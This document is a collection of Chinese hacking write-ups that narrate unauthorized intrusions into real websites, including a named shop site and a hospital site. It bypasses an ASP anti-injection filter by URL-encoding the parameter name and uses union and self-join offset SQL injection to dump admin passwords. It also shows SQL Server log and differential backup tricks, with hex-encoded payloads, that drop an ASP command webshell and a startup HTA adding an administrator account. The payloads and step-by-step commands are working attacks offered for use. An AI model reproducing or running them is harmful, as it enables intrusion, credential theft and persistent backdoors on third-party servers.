%69d分析绕过防注入-枫叶防注入
原著:lake2,尊重版权!
枫叶防注入。看代码吧:
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 2 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Fy_Zx = "../" '出错时转向的页面
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
省略部分代码。。。
这个防注入系统在网上貌似很火,但是他防的是有问题的。关键是这句,Fy_Url=Request.ServerVariables("QUERY_STRING"),Request.ServerVariables得到的数据是原样的,并不会进行URL解码。这也就导致可以进行URL编码绕过这个防注入。以下是lake2对这段代码的分析:
“它的思路就是先获得提交的数据,以“&”为分界获得并处理name/value组,然后判断value里是否含有定义的关键字(这里为求简便,我只留下了“and”),有之,则为注射。
乍一看去,value被检查了,似乎没有问题。呵呵,是的,value不会有问题,可是,name呢?
它的name/value组值来自于Request.ServerVariables("QUERY_STRING"),呵呵,不好意思,这里出问题了。Request.ServerVariables("QUERY_STRING")是得到客户端提交的字符串,这里并不会自动转换url编码,哈哈,如果我们把name进行url编码再提交的话,呵呵,那就可以绕过检查了。比如参数是ph4nt0m=lake2 and lis0,此时程序能够检测到;如果提交%50h4nt0m=lake2 and lis0(对p进行url编码),程序就会去判断%50h4nt0m的值,而%50h4nt0m会被转换为ph4nt0m,所以%50h4nt0m值为空,于是就绕过了检测。
等等,为什么既然name不解码可以绕过检查而value就不能绕过呢?因为value的值取自Request(Fy_Cs(Fy_x)),这个服务器就会解码的。
程序怎么改进呢?只要能够得到客户端提交的数据是解码后的就可以了,把得到name的语句改为For Each SubmitName In Request.QueryString就可以了。”
构造如下地址:
http://www.xxx.com/xxxasp?action_key_order=big&shopxpbe_%69d=79
巧妙利用表自联偏移注入ACC数据库拿webshell(图)
今天下午一朋友丢来一个网站说喜欢这个网站的源码,看能不能拿下,拿下以后说请我去腐败腐败。既然他都开口了,嘿嘿我还正愁没机会狠狠的蹭他几下,谁知道他自己找上门来了,不蹭白不蹭。先打开主站,用的是个通用防注入系统,过滤的很严格,对get跟post都进行了严格的参数过滤,转换编码格式也没能绕过注入系统,cookie注入也没能成功。后台也不能登陆,看来只能用旁注了。(如果有哪位大牛能突破这个通用防注入系统的话,不防发出来大家共享一下。)又拿出AK48,推荐一下这个工具,觉得比旁注王要好用一点,先有AK48扫射,立即就扫出了不少网站。大概有十多个吧,一查IP地址发现是上海IDC机房的,估计八成是虚拟主机了,汗!!!!!!!!!想到虚拟主机现在都有点怕了,虚拟主机提权难呀,就算你旁注到了 webshell,别说提权服务器就算是夸站也是比较困难。不管了还是先拿webshell子再说吧,网站虽然有十多个,但大多不能注入,现在的网站动不动就挂了通用防注入系统上去,就像现在电脑动不动就装个360打补丁一样,轻而易举的就把漏洞给补上了,呵呵看来现在的网民的安全意思都提高了。将近花了40分钟的时间去找注入点,结果只发现了2个网站有注入漏洞,其中还有一个虽然有注入点,但是找不到后台直接放弃了,最后只剩下一个网站希望最大了,注入也有,后台也找出来了,直接丢进啊D里面去跑跑,跑出了4个表,其中管理员表admin只跑出了一个ID字段,用户名字跟密码字段都跑出来。换个明小子跟NBSI pang龙 都试过了,只能跑出admin表却跑不出字段来了。如图(1)
工具跑不出来了,那只好手工试试,有时候手工比攻击要有效的多,先初步的分析了下,虽然我们找不到字段,但是如果这个注入点可以试用联合查询的话,说不定,不需要知道字段名字也可以把用户跟密码爆出来。先测试看能不能union
http://tapesales.net/ProductShow.asp?ID=95 order by 1(从1一直增加直到返回错误为止)当增加到29返回正常而30却返回错误,就证明当前表的字段为29个。
构造联合查询语句试下看能不能用
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from admin 返回如下图(2 )
看来联合查询可以用,嘿嘿,只要能联就不怕爆不出他的密码来。第二步我们还需要知道表admin的字段数,构造语句
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,* from admin(返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,.....n-1,n,* from admin(替增n的值,知道返回正确)当n=15的时候返回正确了,说明admin表有29-15=14个字段,知道了表admin的字段了,那我们先试着盲爆试试看,如果运气好的话可以直接爆出来。继续爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin 返回如图(3)
狂晕!!!这么多都没爆出一个来,看来今天手气是很不咋滴,连用户名字都没爆出来来。只爆出来了访问者的IP地址图三左下脚,要是我们知道管理员的用户字段跟密码字段就好了,直接替换2,3,5,9,15 随便替换一个就可以爆出来,关键是现在猜不出管理员的字段。看来得仔细分析分析了。
老规矩先点跟烟清理思路。。。。。。。。。。。
如果我们知道admin的字段数多的话,我们可以使用偏移注入,但是目前我们只知道一个字段ID字段,偏也偏不出来了呀?再分析一下字段数,当前的字段为 29个,而我们的admin表有14个字段,而恰好我们也已知了一个ID字段,14*2+1=29 哈哈恰好满足自联呀,自联就是根据on语句后面的条件把自己联合一下,字段数会增加一倍。。。。等等等等。。。。。。。。。。。貌似这样解释有点不对,为了不误导新人,觉得还是有必要解释一下,
比如有一个表A结构如下
id name pass 字段
1 abc 123
2 efg 456
3 hij 789
自联
select * from (admin as a inner join admin as b on a.id=b.id)
(其中a.id=b.id就是自联条件),将返回以下结果
a.id a.name a.pass b.id b.name b.pass
1 abc 123 1 abc 123
2 efg 456 2 efg 456
3 hij 789 3 hij 789
我们看原来一个A表用有3个字段,通过自联后,我们发现他有了6个字段,也就是说字段加倍了。汗!!1!! 扯远了回到主题。通过上面的分析,我们可以自联admin表,admin表是14个字段,自联后也就是2*14=28个字段,然后我们在随便加一个字段凑数就变成了29个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用 a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) 如图(4)
嘿嘿 密码已经给爆出来了3bbffb13d93c6bbf,先去MD5,解密吧,得到密码bbs1234.接着爆用户名字,我们只要偏移一下空间联合查询的的顺序就行了。
那就偏吧。。。。。。。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,* from (admin as a inner join admin as b on a.id=b.id) 如图(5) )
竟然没偏出来了,出乎我的意料了!!!!! 我再偏。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
如图(6)
嘿嘿这下它藏不住了吧,乖乖的爆了出来 love123456 ,用户名字跟密码都有了登陆后台,后台有数据库备份功能,但是不能自定义备份后缀名字。我们可以通过抓包,然后修改post内容自定义路径跟备份格式,备份出ASP格式的安全, 如图(7),
也貌似有还有上传漏洞。成功备份出小马,小马生大马,得到一个webshel如图(8)
情况也就这么个情况,提权很困哪呀
Scripting.FileSystemObject √ 文件操作组件
wscript.shell × 命令行执行组件
ADOX.Catalog √ ACCESS建库组件
JRO.JetEngine √ ACCESS压缩组件
Scripting.Dictionary √ 数据流上传辅助组件
Adodb.connection √ 数据库连接组件
Adodb.Stream √ 数据流上传组件
SoftArtisans.FileUp × SA-FileUp 文件上传组件
LyfUpload.UploadFile × 刘云峰文件上传组件
Persits.Upload.1 √ ASPUpload 文件上传组件
JMail.SmtpMail √ JMail 邮件收发组件
CDONTS.NewMail × 虚拟SMTP发信组件
SmtpMail.SmtpMail.1 × SmtpMail发信组件
Microsoft.XMLHTTP √ 数据传输组件
PHP .net 服务器上虽然安装了,但是这个网站并不支持php跟.net。命令行也不能使用,开放端口 80 21 1433 3306,3389,FTP用的是server_u,但是管理员修改了密码,安装路劲也没权限浏览,也不能夸站浏览,出了能控制shell目录,其他目录都不能控制,哎 看来此路不通了,是时候放弃了
正准备要放弃的时候突然发现一个新的情况,再网站目录下面找到一个数据库连接文件,里面有数据库信息,嘎嘎,善良的人们总是在绝望的时候会得到老天爷的帮助。
有了数据库事情就办多了,先用数据库连接再说。看看是什么权限,public权限就可以列目录了,要是有DB权限的话,嘿嘿,夸站绰绰有余啊,提权服务器都是有可能的。用SQL 连接查询器连接数据库。果然是DB权限,DB权限的话可以试着备份到启动项试试(经过我多次测试,备份日志文件被直接备份数据库成功率至少要高一半)
在查询分析器里面输入如下语句
DUMP TRANSACTION sq_love WITH NO_LOG--
alter database sq_love set RECOVERY FULL--
create table hwz (a image)--
backup log sq_love to disk = ’c:\windows\temp\temp.bak’ with init--
insert into hwz (a) values
(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A53657420206F3D4372656174654F626A6563742820225368656C6C2E55736572732220290D0A536574207A3D6F2E63
7265617465282268777A333130313422290D0A7A2E6368616E676550617373776F72642022313233343536222C22220D0A7A2E73657474696E6728224163636F756E745479706522293D330D0A776
96E646F772E636C6F73650D0A3C2F7363726970743E)--
backup log sq_love to disk = ’C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\run.hta’--
drop table hwz
要一条一条的的放在查询分析器中执行。执行完毕以后就会在启动项里生产一个run.hta的html应用程序,可以直接运行的,运行以后会添加一个用户名字为hwz31014密码为123456的管理员。DUMP TRANSACTION sq_love WITH NO_LOG-- 其中这一条是删除日志文件,经过多次测试发现,如果不清除日志,备份出来的hta文件很有可能运行不成功,使用最好先清除一下日志‘其他的就不多介绍了,大家应该都很熟悉了
好了我们执行,然后用webshell查看是否备份成功如图(9)
为了保险起见我们把这个文件下载到本地测试运行一下
C:\Program Files\MySQL\MySQL Server 5.1\bin>net user
\\ 的用户帐户
-----------------------------------------------------------------------
Administrator ASPNET Guest
HelpAssistant hwz31014 IUSR_98A8AEEC54F641D
IWAM_98A8AEEC54F641D SUPPORT_388945a0
命令运行完毕,但发生一个或多个错误。
成功添加管理员用户,看来我们的备份是成功的,下一部就只等管理员重启服务器我们就可以得到系统权限了,即使得不系统权限我们也不怕,至少能夸服务器所有的网站,
拿份源代码应该问题不大了,既然已经是瓮中之鳖了那就先收工吧! 等明天管理员重启服务器,我再去收网,
最后向组织提个请求,我的权限太低,我发现不能在我最喜欢的版块渗透提权发帖子,
恳请组织慎重考虑我的请求,
本篇文章来源于 Xiaoz Blog 转载请以链接形式注明出处 网址:http://www.webxiaoz.cn/article/Infiltration/719.htm
后台登入框注入拿shell
By Ay暗影
说明:文章的图片请点击以后放大观看,标点符号为了大家看得清用的是全角的,大家如果遇到站练习的时候请换成半角的英文符号!
话说俺正在研究Java,正挠头迷茫中,朋友突然丢来一个站,说帮他日日站,前台都没有注入点,上传点也没有,说就后天有注入点,可是他说他手工功力不够,让俺来试试,于是,我就放下手中的活,打开了网站。
打开网站(网址就不发了,只讲过程),是一个医院的站点,看了下网站程序,是asp的,嘻嘻,asp的站日的比较多,对它有点亲切感,随便点了一个新闻链接,加上一个单引号,弹出了一个对话框
看来有点防范啊,为了确定是否是防注入系统,如果是的话,我们就可以试试cookie注入了,于是,我换个方法检测了下,就是
http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65&MainBcgID=102-0
在数字后加上减0,回车,弹出相同的提示对话框,分别提交
http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65-0&MainBcgID=102
http://www.xxx.com/kssz.asp?BcgID=104-0&ThatBcgID=65&MainBcgID=102
都是相同的提示,看来是程序过滤了,非防注入。
然后我就打开Google,搜索了下带有asp?id=的链接,结果都是一样,那注入就没戏了。
接下来,俺就拿出自己写的扫描工具扫描了下常见上传点,也没有发现,看来,只能向后台输入框进军了哈。
在后台输入一个单引号,随便输入密码,回车,报错了,哈
看来朋友说的没错,有戏啊,而且是mssql的,幸亏是mssql的,不然还拿不下呢(原因,后面会提到)
接着,按照常规步骤,开始注入了,但是俺是懒人,想偷点懒,于是抓包,想通过get方式来注入,这样可以让工具来代替人力啊,哈哈,
于是,组合下内容
www.xxx.com/login/default.asp?Submit=%B5%C7+%C2%BC&Userpwd=1& Username=1
可是老天就是不配合俺,这个方法在这里不行啊。哎,看来只能手工了,这个对俺来说相当痛苦了。
米办法,老实的一步一步来了。在输入框里输入’ having 1=1 and ‘’=’ 回车,报错
嘻嘻,我得意的笑,这里,我们得到了表名和字段名,继续爆,输入’group by user_info.user_id having 1=1 and ‘’=’
爆出了user_name,继续爆,’group by user_info.user_id ,user_info.user_name having 1=1 and ‘’=’
到这里就差不多了,我们要的关键字段都有了,表名也有了,该是爆内容了,输入
‘and 1=(select user_name from user_info) and ‘’=’ 爆出了用户名
然后用相同方法,输入’and 1=(select user_pwd from user_info) and ‘’=’ 爆出了密码,哈哈发现密码还是不加密的,那就更好了。
直接拿起密码进入后台
以为接下来就容易拿到shell了,随便找了一个上传点,试了下直接传,提示成功,哈哈,开心了,心道,今天rp不错的嘛,刚刚在手工那里费了点时间,现在刚刚补回来了,直接拿到shell了,于是拿着地址去打开,结果,当场吐血,为啥,因为上传路径的文件夹不让执行脚本啊
心里大骂这个管理员,shit,shit,shit他JJ,让老子白高兴一场。找了下其他图片的文件夹路径,都是一样,不让执行脚本。哎,苍天那,大地啊,你怎么可以这样对我啊。以为没办法那shell了,准备放弃了,和朋友一说,他说,是不是可以在后台进行差异备份拿shell呢,我一听,一拍大腿,对啊,MMB,我怎么没想到,哎,居然把后台的注入点是mssql这茬给忘了,鄙视下自己。
要差异备份首先要知道站点,哎,俺最头痛的手工又要开始了,话说到这里,插一句话,希望各位一定要好好学习sql哦,工具是死的,人是活的,手工厉害啊,虽然麻烦(观众:又开始装逼了,小心出门被雷劈啊…..我:哈哈,俺不怕,俺是绝缘体,没事没事…..忽然,天空一阵巨响,小影子被雷劈了。。。55555555,今天没看黄历啊)
开始猜路径了,过程是:建立一个表,通过xp_dirtree组件,把列出来的内容插入临时表,然后我们在一个一个把内容从临时表里读出来。
首先,我们建立一个表,输入’ create talbe tmp(id int identity(1,1),path varchar(255),depth int,isfile int ) and ‘’=’
然后,我们要确认下我们的表是否建立成功了,不然如果不成功的话,我们后面做的都是无用功了,哈。输入’ select * from tmp having 1=1 and ‘’=’,报错了,说明建表成功
接下来,就是插入内容了
‘insert into tmp exec master.dbo.xp_dirtree ‘d:\’,1,1 and ‘’=’
接着,就可以列目录了,输入
‘ and 1=(select path from tmp where id=N) and ‘’=’ (N=1,2,3,4,5,……)
就列出了路径
改变N的值就可以列出了,重复过程就不写了,最后知道路径是D:\website\xxx.com\
接下来就是进行差异备份了,在输入框输入一次输入差异备份语句
'alter database hz3yy set RECOVERY FULL--
'Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])--
'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init--
'insert into banlg(cmd) values(0x3C256578656375746528726571756573742822636D64222929253E)--
'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C776562736974655C687A3379792E636F6D5C772E617370 backup log @a to disk=@s--
'Drop table [banlg]—
然后输入网址,输入http://www.xxx.com/ww.asp,熟悉的乱码界面出现了,哈哈,然后就是传shell了,图就不截了,嘻嘻。
从php+mysql环境的注入,到整台服务器的沦陷
里重点感谢一下JJ童鞋,我与该童鞋相识好几年了,不过从未见过面,但是却很投缘啊(哈哈,我不是gay),发现很多时候一起做事很有默契,我也是好久没碰php了,完全忘记怎么玩了,今天拉他来一起搞了一下,实践证明,合作的力量是伟大滴,成功拿下整台服务器权限,于是便有了本文,由于我写完之后要整理一下写到报告里面,所以会写的详细一些,大牛们请飘过。。。(废话多了点儿,谁拿砖头砸我?!)
作者:北北 来源:http://mrsun.blog.51cto.com/881719/190455